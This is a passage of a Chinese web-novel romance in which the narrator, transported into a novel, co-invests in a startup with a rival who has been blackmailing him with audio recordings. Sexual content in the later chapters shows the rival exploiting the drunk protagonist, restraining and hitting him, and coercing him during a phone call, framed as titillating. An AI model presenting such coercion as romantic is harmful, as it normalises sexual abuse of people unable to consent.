叶临无奈地开瓶盖,动作随意地递给他:“喏” 梁文乐不满意地摇头,指了嘴唇:“不用手,用这儿。” 叶临吓得坐直身体,把酒瓶放下:“这里好多人,算了吧。” 梁文乐不说话,只是死死地盯着他,让人汗毛直立。 叶临只好照做,凑过去吻。 周围立即有人起哄,还帮忙拍照,调侃梁文乐现在真会玩。 梁文乐没有浪费一滴酒,将叶临搂进怀里,过足了成年瘾:“你以后不许看别人,只能看我,想着我,念着我,听到没有?” 叶临面无表情地狂点头,语气顺承地应和他的话,越发地感觉自己命苦。 还好,梁家老宅临时有事,要求梁文乐赶回去,叶临也有了五天的假期。 第一天他就骑着车到处逛逛,还顺道去顾嘉致的公寓看过,没有人在。 也不知道去了哪里,但应该可以在聚会上看到,不着急。 第二天日子收到沈邵的消息,要求他晚上去酒店等着。 这就很烦了,沈邵应该是知道梁文乐回老宅,所以才会给他发消息,沈邵也怕被梁文乐闹。 现在正是工作日的早上,很多高楼大厦里坐着各式各样的上班族,为了生活拼搏。 沈邵应该还在沈氏大楼里上班,晚上才会有时间。 叶临最讨厌被人要挟,所以混进沈氏大楼,想在这种场合反将沈邵一次。 大楼有十部电梯,通往不同的楼层,分散人流量,看起来像座巨型迷宫。 记得总裁都是坐在高层,叶临就随便挑了个高楼层。 大概坐了十多分钟,终于到达高层。 这里的空间更大,光线明亮,走廊处有很多名贵的绿植。 刚进去不久,隐约听到有人在吵架,有点像沈邵的声音。 “大伯你再看看,梵星主要是互联网,未来很有发展前景,值得投资。” “小邵,你就是经验太少,这种初创公司一年有几百万,最后活下来也就零星几个,毫无投资意义。” “不是,可互联网真的有发展潜力,我们也应该” “别说了,你爸叫你过来,是为了让你熟悉家族业务,不是在这里瞎动脑筋。我还有事,先走了。” 叶临听到一个熟悉的名字“梵星”,这家公司在小说里用了浓墨重彩描述发展历程。 梵星是主攻互联网的公司,一年后就会初具规模,三年后就直接起飞,成为行业标杆,未来更是不可限量。 这本神豪小说背景设定是房地产蒸蒸日上,互联网还没完全起来的时候。 书里的主角也是投资这家公司,乘上时代风口的快车,才能迅速积累财富,变成全球首富。 叶临也想投资梵星,动了合作的念头。 看得出来沈邵有眼光,但沈家是家族企业,实权都在一堆长辈身上,他一个后辈无力回天。 这时身材矮胖的中年男人走过来,径直走进专属电梯里,没有注意到站在角落里的叶临。 叶临等他走后,才朝着声音的位置走过去。 只见沈邵手里拿着文件,垂头丧气地站在办公室门,眉头紧锁,似乎在思索什么,还是没有进去坐。 叶临跑过去,拍他的肩膀:“我知道你说的这个梵星,你可以把创始人们介绍给我认识吗?” 沈邵才回过神来,看见叶临的模样,立即明白此时的境况:“刚刚我和大伯的谈话,你都听到了。” 叶临诚实点点头:“对啊,不就是你想投资梵星,但你大伯不给你投嘛。那你不能投,干脆让给我好了,也算我欠个人情。” 沈邵被他逻辑不通的话整懵了,忽然想到他们两个人的关系,于是进了办公室:“你先进来,我再跟你细说。” 叶临真的很想投资梵星,迅速进去,转过身才发现沈邵把门给关上。 沈邵锁上门,放好文件:“我是真没想到,你居然主动跑到公司找我,这么着急?” 叶临对上他的眼神,明白他的心思不在生意,连忙摆手:“沈邵,我没心情跟你做那种事情。 我只是想投资梵星,你把机会让给我,以后我发达了,还能帮你一下。你们沈家就是纸老虎,好不了多久!” 沈邵压根不相信他,嗤笑道:“你说要投资梵星,哪里来的钱,科创很烧钱的?还有,我们沈家发展得很好,怎么就成你嘴里的纸老虎。” 小说里也写,投资科创刚开始是几百几千万,后面就是上亿了,确实没那么多钱。 但梵星就是能赚钱,无脑拿下就对了。 叶临身靠梁文乐就很有底气:“投资这种小公司,一开始也不需要很多钱,几百万,几千万就能投了。 而且就算我没钱,我也能劝梁文乐投资,他可有钱了。 再说了,你们沈家管理模式古板老旧,早就没有人才愿意来。 而且表面看着光鲜亮丽,其实钱都被各个亲戚瓜分完,还留下很多烂账。你就是看到了潜在的危机,才想劝你大伯投资梵星吧。” 这些都是实话,进入少年时期就感觉到沈家和梁家的差距越来越大。 梁家的生命力很鲜活的,总能抓住新的赚钱机会,开辟新版图。而沈家一直守着老地方打转,甚至越来越跟不上时代。 沈邵进入公司后,接触到管理层和各种部门,才明白沈家就像是一棵参天大树,已经从根部开始腐烂。 要么断根求生,要么另寻新枝,否则坚持不了多久。 断根会得罪很多公司老人,那样无异于刮骨疗伤,实行难度太大。 现在只能另寻机会,结果这些老人还是不同意。 沈邵被他说中痛处,脸色难看,很久都没说话。 叶临见有希望,又继续劝他:“这样吧,梵星太大了,我一个人也吃不下。 你删掉那些音频,忘记过去,跟我合作投资。大家一起赚钱多好,少惦记那种事了。” 沈邵身心俱疲,却在听到他的话焕发出一线生机:“你现在能拿出多少?” 叶临用手指比出数字:“八千万,够多了吧。” 沈邵笑起来:“做生意不是有钱就行,很多门路你摸不清。” 叶临懒得思考:“我就提供钱,你来摸不就好了。反正我是你,才不愿意屈居人下,天天听那些没眼光的亲戚,开创属于自己的时代多好。” 沈邵的脑海里回响他的那句“开创属于自己的时代”,欲言又止。 叶临继续煽动:“对了,我还可以劝顾嘉致投资,他和文乐的钱足够了吧。” 顾家和梁家的资金充足,人脉也很强,倒是支撑得起梵星后续的发展。 沈邵嘲讽道:“你勾男人的本事倒是很厉害。” 叶临白他一眼:“反正我看好梵星,就要投资。你不乐意,我就自己去找。” 沈邵沉思片刻:“你先回去,我考虑好再联系你。” 叶临走到他面前,猛地拍桌:“那行,你自己思考清楚,敢用音频威胁我,你就失去了财神爷,以后还会被我报复。反正聪明人都知道该怎么做,你应该不是蠢货吧?” 他明明什么都没有,却如此嚣张。好像已经确信自己是命运之子,做任何事都会成功,真是自信得要命。 沈邵无奈地摇头笑,又盯着他的眼睛看:“你跟以前完全不一样了。” 叶临以为他看出自己是穿书的,连忙找借口:“那,那人都是会变的。而且我不甘心这辈子就这样,你也是一样,有什么好说的。” 沈邵忽然发现,叶临这个人看起来蠢笨无能,还十分自负,可是眼睛里的野心却非常耀眼,让人难以忘记。 离开沈氏大楼后,一缕阳光照进来,就像是金山反射出的光,充满希望。 叶临感觉沈邵大概率会同意,这样就免去很多麻烦。 当然,他也得私下去找梵星创始人们,防止被沈邵坑。 只不过现在时间太早,创始人们都没注册公司,还处于最原始的公寓阶段,大家挤在小房间里创业,有些难找。 他费了好几天才找到位置,在老式居民区。 到处都是违章建筑,凌乱密集的电线,道路肮脏,缺少阳光,看起来阴森森的。 刚到楼下,还接到了梁文乐的视频电话,只好移动到没人的地方接听。 “你在做什么?”屏幕里的梁文乐穿着奶油黄上衣和灰色阔腿裤,还开了特效,把自己修得可爱精致。 “我在外面散步,闷在房间里不舒服。”叶临找了个草地做背景,都不敢露全脸。 “你怎么不让我看全脸啊!” “好吧,你看。” “你好丑啊,又穿字母衫,土死了!怎么不穿我给你买的衣服?”梁文乐虽然在抱怨,但笑容灿烂,他很高兴能够看见丑丑的男朋友。 “忘记了,待会儿就去换。” “我和你说,他们好麻烦” 叶临无奈地听了一个小时的抱怨,总体来说就是梁文乐吐槽亲戚的八卦,以及老人各种奇葩流程。 有亲戚叫了梁文乐,他才恋恋不舍地放下手机,还叮嘱叶临老老实实在家等他。 应付完梁文乐,叶临才朝着梵星走去。 他想不通沈邵一个大少爷,居然能够找到这种公司。 开门后,就看到五个头发凌乱,穿着格子衫的青年,都是梵星的技术人员。 领头叫刘闻,热情地招待他,还跟他说,现在就缺两百万可以注册公司,到时候还能多招几个人。 叶临懒得听他说那么多,只是要他找财务拟订合同,先投资五百万。 刘闻没想到他这么豪气,连忙感激,还提到沈邵也感兴趣。 这时,门口就传来响声。 穿着低调的沈邵出现在门口,看见叶临,眼神讶异,但很快就恢复正常:“你也在,我正想打电话叫你过来。” 叶临走过去嘲讽:“啊,我不先来的话,谁知道你打算怎么坑我。” 刘闻感觉他们之间的关系微妙,连忙打圆场:“两位都可以投资,我们梵星很欢迎的。” 沈邵笑起来:“本来就打算跟他合作,今天就是过来看一下。” 叶临贴近他的耳边,压低声音警告:“想跟我合作的话,你那些事情都要做到。” 沈邵把手机解开锁屏递过去:“自己检查。” 刘闻见状,忍不住问:“两位认识吗?” 他们立即否认,叶临拿着手机就站到旁边,专心删除。 其实是否删除也没关系,只要沈邵跟他一起投了梵星,就是利益共同体,三五年内不会恶意整他。 沈邵在学校见过刘闻学弟一面,从那个时候就觉得这个公司不错。 但是以个人名义投资,路途艰难,要是借着沈氏这艘大船很快就能起飞。 那天跟叶临说过话后,他还是决定大胆一次,就以个人的名义投资,亲自陪着梵星成长。 刘闻很快就跟他谈妥合同,还拟订了各项明细,后续的分红等等。 叶临把音频删完,还不放心,要求扣留手机。 沈邵答应他。 刘闻提议:“难得今天相聚,大家一起去吃个饭,谈谈未来。” 叶临拒绝:“不了,我还得回去。” 刘闻又劝说他几次,还是扭不过,去了不远处的街边摊吃饭。 很简单的家常菜,啤酒和烤串,以及他们几个年轻人。 叶临看到这种场景,仿佛回到初中跟几个兄弟玩,触景生情,多喝了酒。 刘闻这个人很会来事,说的每句话都击中叶临的心坎,跟他称兄道弟。 叶临举着啤酒瓶:“刘闻,你这个人真有意思,我们可以做异姓兄弟了!” 刘闻跟他碰酒瓶:“你也很有志气,感觉我们聚在一起能够做出一番大事业。” 沈邵只是默默喝酒,看着他们没说话。 天色昏暗,圆月明亮,星星只有寥寥几颗。 深巷子里传出狗吠,肉被烤得滋啦响,到处都弥漫着烧烤的香味。 几个青年坐在塑料矮凳子上,挥舞着啤酒瓶,唱起年代久远的励志歌曲。 叶临注意到对面的沈邵,抬起啤酒瓶靠过去:“真没想到沈大少爷也能在这种地方吃饭。” 沈邵跟他轻轻地碰杯:“这没什么,大树都是在泥里发芽,也不是生来就在高处展望蓝天。” 叶临总算对他有了点好印象:“行吧,你这个混蛋总算有了优点,就是能吃苦,不矫情!” 刘闻赞同地点点头:“学长真的是清流,愿意屈尊降贵来到这里跟我们一起逐梦,相信有你们的帮助,梵星肯定会发展得很好。” 叶临狂喝几口:“梵星以后会是行业龙头的,市值几万亿,放心好了。” 刘闻笑起来,半信半疑:“好好好,市值万亿!” 两个人互相吹捧一会儿,叶临就倒在酒桌上睡觉。 刘闻看向对面还清醒的沈邵:“学长你们认识,就送他回去吧。” 沈邵扶起叶临,朝着停车场走去,一路上心事重重。 其实他最开始只是觉得叶临颇有意思,可以尝尝。 但是谁知道他们之间的关系,会从见。色起意发展到生意伙伴。 小时候他就听着父辈们的艰辛创业故事长大,知道扶持梵星并不容易,所以难以下定决心。 结果今天过后,他确实是想认真做一件事,亲手帮梵星走得更远。 其实他和刘闻都不知道梵星能走多远,但是被叶临信誓旦旦的语气感染,都有了信心,想为梵星奉献。 “嘉,嘉致,我们回到以前的样子多好。” 沈邵听到叶临在说话,脸颊红扑扑的,嘴唇微张,声音很轻。 “我和你说,文乐远远比不上你,我真是后悔死了!” “哦,哪里比不上?” “那里比不上,我的天,你不知道他多可怕!” 沈邵无奈地笑起来,扮演着“顾嘉致”的角色,轻声陪他聊天。 叶临意识不到旁边的人是谁,只觉得憋屈久了,终于找到知己可以倾诉,恨不得一箩筐把槽点都说完。 他先从梁文乐的性格说起,以及饮食住行,后面就是技术问题,恨不得把每一个细节都清楚。 大骂梁文乐不是人,自己过得有多苦。 沈邵料到他和梁文乐谈恋爱会过得不高兴,语气平静地附和。 叶临得到回复,越说越起劲,恨不得把梁文乐砍断,再也别做男人。 坐在副驾驶座的时候,叶临的神情悲痛,手舞足蹈地表达自己的崩溃。 “你知道吗,我喝了十天的粥啊,人生从没这么苦过!” “梁文乐居然还敢怪我不理他,真是自私自利!” “老实说,要不是生在梁家,他这种人在社会上根本混不下去。” “怪不得你看不起他,确实太离谱了。” “他真这么差劲?” “对啊,对啊,我跟你说” 沈邵饶有兴致地听他吐槽,开车朝着自己的公寓驶去。 他并不想跟梁文乐粘上关系,所以不会去那栋别墅,只是把叶临寄存在自己的公寓再走。 毕竟都成了生意伙伴,关照也要有。 很难想象梁文乐到底对叶临造成了多大的伤害,进门后还在吐槽,甚至抓着沈邵的衣服不肯放。 叶临说到后面,又想到自己的饥饿值,主动凑上去吻,抱怨道:“嘉致,你不在这几天,我真的很难过。 早知道我就不说那种伤人的话了。其实你很好,比梁文乐好太多了!” 关系发生了变化,态度也得转变。 沈邵不想跟生意伙伴有这种联系,无奈地解释:“我不是顾嘉致。” 叶临醉得太厉害,没有理智,只一味要亲:“你,你快帮我。” 沈邵被他勾得没办法,靠过去问:“怎么帮?” 叶临抓着他的手:“就那样帮啊,你装什么装!” 沈邵的眸色渐暗,反手将门合上。 他确实不是正人君子,面对这样的投怀送抱,难以做到冷静自持。 第24章 第24章“沈邵,怎么是你!”…… 叶临很快就站不住,不断地往下坠。 他就像个冰淇淋,在太阳底下被晒融化,变成一滩充满香味的冰淇淋液。 很燥热的天气,为了凉快,只能把衣服脱掉,随意地扔在地上,不管不顾。 只不过白色袜子还是留着。 沈邵就喜欢这双纯白色的袜子,偏要留下来,慢慢地欣赏。 叶临被他亲得迷迷糊糊的,嘴里嚷着:“顾,顾嘉致,你让我” 沈邵抵住他的额头:“让我做什么?” 温热的气息就像是羽绒在挠,痒意瞬间就传遍了,忍不住发抖。 耳垂是被气体蒸到了,炙热得厉害。 叶临的脸颊泛红,眼睛湿漉漉的,像个可怜的小鹿。 小鹿非常地饥饿,需要向长辈讨要吃食,哼哼唧唧地表达自己的诉求。 哪怕是口齿不清,但小鹿的小动作已经被长辈猜透。 沈邵对外的人设从来都是个温柔儒雅,知书达礼,但他看见叶临,就会莫名地被勾起施。暴。欲。 他想欺负叶临,想让叶临哭出来,浑身发颤,靠进他的怀里乞求。 于是,混蛋长辈完全忽略掉小鹿的恳求,还要装模作样地听不见,反复询问。 实际上,叶临被折腾得都说不出完整的句子。 诉求还得不到满足,又羞又气,咬牙骂起来:“混蛋顾嘉致,你,你不要装!” 沈邵听到他说顾嘉致的名字,心里感到了一丝雀跃,他很享受这种感觉。 从小到大,他都被要求正直诚信,做个好孩子,同龄人里的表率。22年里,他按部就班地生活,极少会越轨。 偷偷玩赛车已经是非常叛逆的行为,可是遇到叶临后,不仅会在厕所情动,刚刚还脑子发热答应扶持梵星,现在更是享受做叶临的小三。 这样其实很有意思,不用循规蹈矩,需要躲躲藏藏,偷偷摸摸,非常刺。激。 沈邵的父母相敬如宾,感情淡漠,是一对恩爱的模范夫妇。 这对夫妇会跟沈邵强调正常的恋爱观,尤其是要对婚姻负责,绝对不能出。轨,愧对妻子。 但他们万万没想到,儿子偏偏就很喜欢做第三者。 叶临嘴里喊着顾嘉致,会让他极度地亢奋,动作也越发地放肆。 沈邵亲去叶临眼角的泪水,忍不住想到自己之前的种种奇怪行为。 为什么要刻意关注梁文乐的行踪,确保梁文乐去了梁家,他才会联系叶临? 原来,他是怕被梁文乐发现,毕竟这种行为见不得光,当然要藏着。 但是这样很有趣,就像是在玩一个猫捉老鼠的游戏。 他不再是站在阳光下流光溢彩的孔雀,而是在阴沟里爬行的老鼠。 沈邵低头问汗津津的叶临:“喜欢吗?” 叶临呼吸不畅,整个人都是软。烂的,难以支棱起来,只能发出哭声。 他的睫毛都被泪水打湿,脸颊红透了,就像是发了高烧,正在快速冒汗。 沈邵心中了然,故意折磨他,希望他恢复神志,明白自己的处境。 很快,叶临就浑身发颤。 高声叫着,掉了很多眼泪。 纯白色的袜子就像是一朵断根,随风摇曳的蒲公英,时而高高地飘起来,飞过肩膀,时而低低地坠落,轻轻地摇晃。 在柔和的灯光下,肌肤会有玉一样的质感,但又是温暖的。 哪怕不是在冬日,都能让人爱不释手。 过了很久,叶临终于清醒过来。 还以为旁边是顾嘉致,结果定睛去看,居然是沈邵,吓得想推开,却被紧紧地锁住。 沈邵的衣服都还在,只不过有很多褶皱,破旧不堪,但脸依旧为这身衣服增添了不少禁欲的魅力。 “你,你!”叶临想踢人,但是发现使不上劲,只能破口大骂:“沈邵,怎么是你!” “是你自己扑上来的。”沈邵的凑到他的耳边,压低声音嘲笑:“看来你的正牌男友很差劲,都让你饿成这样了?” “混蛋,你!”叶临挥手想去打他,又被用力按住:“你,你都听见了?” “是你自己偏要跟我说的,梁文乐果然不行,你过得真惨。” “算了,反正你让开,我们后续还要合作,你觉得我们这样正常吗?” “当然不正常,但既然合作伙伴有需求,我理应帮忙。” “你胡扯什么,我明明是想找顾嘉致,滚!” “哦,听你的语气,是跟顾嘉致吵架了吧。他是你的情人,但是最近都在隔壁市,不愿意回来看你。” “要,要你管!” “其实梁文乐差劲,顾嘉致又不搭理你,就应该找个新的解决需求。” “滚!” 叶临大骂他不要脸,又要大力挣扎。 结果被领带。控制起来,难以动弹。 沈邵是个上班族,经常西装革履,房间里就有很多西装配饰,随手就能拿出来。 “沈邵,你再这样,我们就取消合作。我马上撤资,别想一起赚钱了!” “那可不行,你都签了合同。而且我觉得你很看好梵星,应该不会放弃的。” “那,那你” 叶临还想再说别的事情震慑他,结果看到沈邵脸色阴沉,低声在他耳边警告:“再吵吵嚷嚷,我就打你了。” 叶临恨不得弄死他:“你臭不要脸,去死好了!” 沈邵用力打了一下。 感觉到大海的波浪在回荡。 叶临哭叫一声,恼羞成怒,还想骂。 结果又被打。 他发现沈邵这个贱人,不像顾嘉致听话,更不像梁文乐好骗,说打就是真的打,实在是太可怕了。 是真的怕疼,所以不敢再多说,只想等机会再反杀。 然而等了一个晚上,都没有得到反杀的机会,反而昏过去。 有了酒精助眠,直到下午才醒过来。 窗帘被拉得严严实实的,没有透进一丝光亮,四周的环境安静,很适合睡觉。 沈邵已经不在房间里,但四周都收拾干净。 宿醉后就是头疼,叶临揉了揉头,大骂沈邵几十遍。 还是气不过,想把沈邵家里所有值钱的东西都顺走。 结果他摸了半天,居然没有一个表或者支票,整个公寓里没有任何值钱的东西。 沈邵真是穷啊,都比不上梁文乐一根小指头! 他干脆把沈邵衣柜里的衣服全部翻出来踩烂,再把卧室弄得一团糟,再跑去客厅拆沙发! 结果发现茶几上放着保温瓶,旁边用铁画银钩般的字迹写了:里面是醒酒汤,记得喝,旁边还有药膏,记得涂。不要太生气了,反正大家都是各取所需,互相帮助罢了。 叶临挥手就把保温瓶扫到地上,大骂脑瘫去死。 保温瓶滚了几圈停下来,并没有撒出来。 叶临片刻后又觉得肚子饿,把保温瓶拿起来,打开准备喝两口。 结果刚打开就闻到了浓郁的香味,勾得肚子里的馋虫冒出来。 算了,喝两口吧。 叶临喝了一口,发现汤汁入口鲜美,汤底醇厚,回味无穷,忍不住全喝光。 而且刚喝完不久,脑袋确实不疼了。 药膏也很有效,冰冰凉凉的,很快就能就恢复。 老实说,沈邵确实要比梁文乐好上几百倍,但是他不可控,非常危险,就让人不舒服。 叶临喝完汤就跑去厨房,就打算把这里的碗筷全砸了,以此发泄怒火。 结果下一秒,门就传来响声。 离开厨房去看,发现沈邵拎着一堆少见的食材进来。 叶临冲过去就要打他,却被避开。 沈邵就像是在打太极,总能以四两拔千斤的姿态将他的攻击还回去,神情悠闲,丝毫不惧。 叶临被他弄烦了,只好骂:“我再也不想跟你这个混蛋合作了,我要跟刘闻说,要么你退资,要么我退资!” 沈邵看到家里乱得一团糟也不生气,先把食材放下,再慢悠悠地回答:“刘闻是我的学弟,我们同在一个大学。你尽管去说,看他会站在哪边?” 这就让人沉默了,刘闻是梵星最重要的创始人,他当然会信任学长。 叶临语塞,只好踹茶几。 沈邵走进厨房里,轻飘飘地问:“你午饭想吃什么?” 叶临跟过去,把碗筷都全部都摔在地上,大声嘲讽:“沈邵你这个畜牲,还会做饭啊!” 沈邵默默地去拿扫帚处理碎瓷片,并不抱怨:“以前学过,醒酒汤就是我做的,看起来你很喜欢,都喝干净了。” 叶临不说话,心里在想报复的办法。 沈邵处理完碎瓷片,又开始清理食材,完全忽略他的怒气:“昨天不还说合作共赢,怎么今天就不想投资梵星了。 其实我们这样的相处模式没问题,你有需要就来找我,保证伺候得比梁文乐和顾嘉致还要好,然后我们又能做生意,一起赚钱。” 叶临趁他不备,从身后偷袭,爆锤脊背。 结果沈邵及时转过身,将他抱进怀里,低头亲了发梢,轻声道:“真不乖,偏要讨教训吗?” 叶临还想抬膝反击,结果被制住要害。 沈邵凑到他耳边,轻轻地呼气:“我学过擒拿,拳击,你不可能在我这里占到上风。 乖乖顺从是最好的,惹我生气,你只会吃苦头,好几天都无法离开这里。” 叶临嘲讽:“不就是擒拿和拳击,你就装上了,看我弄死你!” 然而半个小时后,叶临还是没有挣扎出来,反而浑身脱力,只能让人宰割。 这时手机忽然响起来,沈邵抢先拿起来,滑动接听,放在桌上。 叶临清楚地看见,手机屏幕显示的是顾嘉致的电话。 “叶临,你在梁文乐那里不痛快才想到我!” “我*”叶临刚想回答,瞬间就像是被电到了一样,脸颊全红了。 沈邵的眼神得意,压低声音提醒:“快回电话啊,顾嘉致等着你呢。” 叶临连忙咬住嘴唇,才忍住声音。 电话那边又在催。 “艹!叶临你吊我玩呢!” 第25章 第25章“却让我听你和梁文乐…… 叶临哪里敢张嘴回答,他费劲地靠向放置手机的地方,但是怎么都够不着。 沈邵故意控着,不给他半点前进的机会,还低声催促。 电话那头的顾嘉致好不容易看见叶临给自己道歉发消息,就想跟他聊清楚。哪怕暂时得不到回答,也没有立刻挂断,反而继续追问。 “叶临!”顾嘉致的语速急促,明显是不耐烦了,但还是维持接通的状态。 他其实很想知道,叶临一边跟他道歉,一边又跟梁文乐在朋友圈秀恩爱,到底是什么意思。 “嗯”叶临的手指猝然攥紧,溢出一个单音,很快就咬住嘴唇,不敢再发出声音。 他的嘴唇红了,脸颊很热,像是被火炉烘烤过后,肤色不复白皙。 沈邵见他还能忍,于是加重恶劣的程度,凑过去压低声音提醒:“你再不回复,我就替你回复了。” 叶临的眼睛突然睁大,恨不得把沈邵大卸八块,但只能拼命咬住嘴唇,没有说话。 其实沈邵真不会在这种情况下说话,那样就是直接表明身份,太无趣了。就是要藏着,躲着,看到顾嘉致不断地猜忌,才会有意思。 沈邵见逼迫没用,改用缓和的政策,先让叶临放松警惕:“好吧,那你先回,我保证不乱动,毕竟还要合作。” 叶临听到这句话,就感觉自己总算可以松口气,微微张嘴解释:“我,我暂时有事,待会儿再跟你” 还没等他说完,就猛地惊叫起来,难以自持。 沈邵实在是太过于卑鄙了,就像是条潜藏在草丛里的毒蛇,不断地爬行,窥视猎物,专门挑选脆弱的时刻再发动攻击。 手机离得近,把声音清楚地传过去。 顾嘉致觉得不对劲,连忙追问:“你到底怎么了?” 叶临想闭上嘴,却被拦住,只能呜呜咽咽的。 他还尝到了咸味,特别难吃,但是又没办法吐掉。 “叶临!” “叶临,你在跟梁文乐做什么!” 顾嘉致隐隐感觉到了,但还是不死心,反复追问,想听到叶临亲口说出来。 沈邵非常满意顾嘉致的反应,急切的,猜忌的,恼羞成怒的。 隔着屏幕无能为力,急得乱转,实在是太有意思了。 “你回答我!” “呜呜呜呜,别,别”叶临再也忍不住,哭出声来,他朝着手机的位置伸出手,想把屏幕关掉。 沈邵确实让他顺利移动,得以触碰到手机边缘。 可是当他要滑动屏幕的时候,又被拽回来。 “你这个!”叶临想骂,却被堵住嘴唇,整个人像是筛子在发抖。 “叶临,你怎么能这样对我!网上跟我道歉,现在却让我听你和梁文乐”顾嘉致的眼眶泛红,气得浑身战栗,声音都在哽咽。 这实在是太羞辱人了,明明知道他很在意,看到消息就会打电话,还要挑这种时候。 是故意的吧,梁文乐和叶临都把他当成一个笑话,专门用于增进感情。 顾嘉致身处恒温的别墅里,却感觉像是被冰水兜头淋下,浑身发冷,像个可笑的落水狗。 沈邵也觉得他很可笑,既然受不了就应该挂断电话,但偏偏就是要继续听,继续折磨自己。 应该是快到时候了,怀里的叶临抖得非常厉害。 沈邵故意把手机拿过来,凑得很近,再使坏。 下一刻顾嘉致听到声音,脸颊瞬间就红起来,骂都骂不出声,脚就像是生根了,难以移动,手也舍不得放下手机。 就像是溺水的人终于被捞上岸,叶临感觉自己快要昏死过去了,只能靠着沈邵,慢慢地平复呼吸。 沈邵把手机关掉,不断地回味刚刚的感觉。就像是听到了美妙的歌曲,余音绕梁,久久难忘。 叶临先回过神来,看着旁边的沈邵一幅餮足的模样,用力扇过去。 “啪——” 清脆的响声,半张脸都肿起来。 沈邵才反应过来,自己得意忘形了,疏忽大意被叶临扇到,连忙控制住双手,把人抱起来。 “你个混蛋,放开我!” 叶临的脚不断地晃悠,试图踢人,但是完全悬空,毫无机会。反而因为白皙修长,像是刚抽生的柳条被风吹动,过分惹人喜欢。 沈邵低头去吻,徐徐图之。 双脚瞬间收紧,再也没有动。 进了浴室,叶临被放进温暖的热水里,四周都是白色的雾气。 热水因为他的挣扎溅起来,全部都落在沈邵的身上。 沈邵:“气什么,你自己不是也喜欢吗?” 叶临更加生气,对沈邵拳打脚踢,掀起更多的水花。 沈邵虽然站在外面,但是整个人都被淋湿,脸上还多了好几个巴掌印。要是不站远一点,估计要被叶临打残。 从来没有见过像叶临这样暴躁,不优雅的人。 简直就像是村里的野猪跑进城市里,浑身都是坚硬的毛刺,看到谁都要攻击。 叶临注意到沈劭身上有很多伤,脸色难看,而自己毫发未损,总算停止,大声赶人。 “你滚啊,还站在这里,小心我砸死你!” “那你可以试试自己洗。” 沈邵盯着他看,已经能想到他手足无措的模样。 “自己洗就自己洗,以为我不会?” 没过一会儿,叶临就犯了难。 这玩意儿太难处理。 平时顾嘉致都是有保险套,或者亲自帮他处理,现在他怎么会? 叶临挣扎了五分钟,看向沈邵,理直气壮地要求:“帮我!” 沈邵没有戳穿他,蹲下来温柔细致的,很快就洗干净。 又用柔软的毯子把叶临包裹起来,轻轻地擦拭,吹头发再换上衣服,抱去沙发放好。 叶临刚坐下来,看到他准备进入厨房,就拿起花瓶朝着他的背砸去。 结果沈邵及时避开,还把厨房门拉上,隔绝干扰,专心做饭。 叶临想离开这个公寓,可是他想到自己被沈邵恶整,还没报复回来。 越想越不甘心,必须留下来,报复一次才能走。 没一会儿,厨房里就传来香味,闻起来就很好吃。 这个混蛋居然还有好厨艺! 叶临拿起手机,打开跟顾嘉致的聊天页面,想发消息解释清楚。 结果刚发一条,就看见红色的感叹号。 啊,顾嘉致居然把他删除了? 叶临试着打电话过去,对方也拉黑了。 不是吧,就听到那种声音,就受不了要跟他断绝关系? 可是,刚刚那种事情不是跟顾嘉致做过了,有什么好稀奇的。 叶临不理解,虽然他刚刚确实很难堪,但不至于断绝关系吧,最起码要听他解释。 他忍不住埋怨顾嘉致,同时又在思考,怎么跟顾嘉致回到从前的友好关系。 虽然沈劭的技法更高超,但他性格太烂了,应该去死。也只有顾嘉致跟他最为契合,难得的好友。 但是跟顾嘉致友好如初,应该会很难吧,还得想办法。 沈邵端着饭菜出来,看着叶临愁眉苦脸,边摆碗筷边说:“顾嘉致把你删了,梁文乐又差劲,所以你现在非常苦恼。” 叶临想拍桌震慑他,却又怕伤到桌上的饭菜,毕竟看起来很好吃,浪费就可惜了。 算了,不要搭理沈邵这种脑瘫。 叶临拿起筷子品尝,发现很好吃,是他从未尝到的美味。 其他的厨师还在根据调味料搭配菜肴,做出的食物都大差不差。 但是沈邵就能够还原出食材原本的美味,每道菜的味道都不同,让人觉得新奇。 叶临专心干饭,恨不得再多吃几碗。 沈邵看着他像个小猪狂吃,忍不住笑起来,慢悠悠地建议:“所以说,你不如跟顾嘉致断了,以后来找我解决需求,还方便我们合作。” 叶临抬头看沈邵,严肃强调:“说的好像顾嘉致是我相好一样,首先我们是好朋友,其次你远远比不他,想都不要想。” 沈邵复述“好朋友”这个词,先是露出一种怜悯的神情,然后又无情嘲笑:“就当是你朋友吧,那他现在也不理你,还不是要找我。” 叶临嫌弃地白他一眼:“我去找狗,都不会找你这种丧心病狂的混蛋!” 沈邵抬起筷子轻敲碗的边沿:“哦,那你不嫌弃混蛋做的饭?” 叶临才反应过来,自己居然已经把所有的菜吃完了,连忙放下筷子。 这太离谱了,沈邵这种烂人,厨艺怎么会好? 沈邵站起来收拾碗筷,端进厨房里清洗:“待会儿我要去看梵星的新办公区域,确认情况,你要去吗?” 这个怪胎,明明是养尊处优的富二代,可以雇佣别人做饭打扫,偏要自己做饭,还洗碗? 叶临没回答,就是在低声诅咒。 可是等到沈邵洗完碗要出门,他还是跟上去。 他们全程都保持距离,不会靠近。 梵星在附近的一栋写字楼,就租了两个大房间,购置几台电脑,简单装饰就成了办公的地方。 虽然还是条件简陋,但已经比以前挤在居民区里好很多了。 刘闻还新招了两个靠谱的人,跟叶临介绍公司的未来的计划。 叶临发现他的计划跟小说发展历程一样,肯定会赚大钱。现在投的五百万,三个月后就能翻到三千万,三年后就是十个亿,不由得心痒痒。 刘闻非常信任沈邵,现在也不能踹掉沈邵。 成大事者,都是要有耐心的。 先等梵星发展起来,再找机会离间刘闻和顾沈邵,这样比较稳妥。 叶临暗暗做好决定,表面装作跟沈邵关系好,还鼓励刘闻继续努力。 沈邵看出他憋着坏心思,但并不在意。 谁会在意宠物猫要谋害主人呢,他其实看不起叶临,只是临时起意觉得好玩而已。 刘闻提到线上的人流量非常激动:“我觉得人数稳步上涨,距离创收越来越近了。” 叶临点点头,听到手机铃声,拿起手机来看,是梁文乐。 他走到外面的走廊接听。 “叶临,你怎么不在家啊,跑哪里去了?” “文乐,我马上就回来了,你等等!” 叶临连忙跑下楼,骑着摩托往别墅赶。 第26章 第26章“你用这里帮我……”…… 梁文乐提前两天赶回来,就是想第一眼看见叶临。 结果打开门,只听到圆圆的叫声。 找遍整个屋子都看不见叶临,满心欢喜落空,怨气很重。 他坐在沙发边,把圆圆抱进怀里摸,情不自禁地埋怨起来:“圆圆,他好过分对吧!居然不在家里等我,还跑出去玩!” 圆圆摇了摇尾巴,汪汪汪叫起来,听不懂,但要给回应。 